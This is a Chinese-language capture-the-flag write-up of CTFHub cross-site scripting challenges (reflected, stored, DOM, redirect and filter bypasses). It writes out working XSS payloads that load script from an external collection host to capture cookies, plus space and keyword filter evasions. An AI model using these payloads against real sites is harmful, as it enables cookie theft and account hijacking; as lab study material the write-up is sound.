ctfhub技能树里的题集:
反射型xss
攻击流程:
①黑客发送带有xss恶意脚本的链接给用户
②用户点击了恶意链接,访问了目标服务器(正常的服务器)
③目标服务器(正常的服务器)将xss同正常的页面返回到用户的浏览器中
④用户浏览器解析了网页中xss恶意代码,向恶意服务器(也就是这里我们搭建的xss平台)发起请求
⑤黑客从自己搭建的恶意服务器中获取用户提交的信息和数据
1.先XSS platform平台,在上面注册一个账号,链接如下
2.创建一个项目,默认模块即可,命名随意
3.复制红框内容
先提交
这里可以看到我们传了恶意代码进去
然后再复制url,把它复制到第二个框框发送,在我们的xss平台的项目中就会显示刚刚的数据包的信息,在cookie中发现了flag
存储型xss:
用上面同样的方法,同样的恶意代码
这里是传入服务器,并存储在那里
点击这个恶意链接时就会发送请求给恶意服务器,从而获得请求的信息和数据(里面藏有flag)
区别于前面反射型xss的是,他建立恶意连接是在于每一次都要发送含恶意代码,而这个存储xss不需要,一旦发送过一次,以后每次访问它时,都会含有恶意代码
DOM反射:
查看网页源码,第一个框框这个位置是我们可控的,查看对应位置的源码
结合</textarea>'"><script src=http://xsscom.com//He7bc3></script>构成上面源码部分闭合符合条件,可以删掉</textarea>'">不影响
';</script><script src=http://xsscom.com//He7bc3>//
传入第一个框框,提交
//是单行注释的意思,//那一行后面的都被注释掉了,不再执行
源码: <script> $("#text")[0].innerHTML = 'CTFHub is very niubility'; </script> 传入,闭合处理后: <script> $("#text")[0].innerHTML = ''; </script> <script src=http://xsscom.com//He7bc3>//'; </script>
再复制url,传入第二个框框
在平台上受到记录
DOM跳转:
查看源码:
分析一下,代码意思是 从当前页面的URL中获取查询字符串(URL的get参数),如果参数名为"jumpto",则将页面重定向到参数值所指定的URL
<script> var target = location.search.split("=") //以等号分割成两份,一份是参数名,另一份是参数的值(可利用) if (target[0].slice(1) == "jumpto") { //其中target[0].slice(1)是指去掉?后面的参数名 location.href = target[1]; //如果参数名相等,就location.href(表示页面跳转)到target[1],也就是参数的值 } </script>
参考:CTFHub XSS DOM跳转 WriteUp_CVE-柠檬i的博客-CSDN博客
可以利用js代码和 jQuery 的 $.getScript() 函数来异步加载并执行来自 xss平台 的 js 脚本,使用前提是网站引用了jQuery。
这里构造:
http://challenge-c644076cd9fc7c0b.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("//xsscom.com//He7bc3")
过滤空格
用/**/绕过 <script/**/src=http://xsscom.com//He7bc3>/**/</script>
过滤关键字:
过滤了script
大小写混拼试一试,就过了(擦汗)
<ScRipt src=http://xsscom.com//He7bc3> </ScRipt>
发送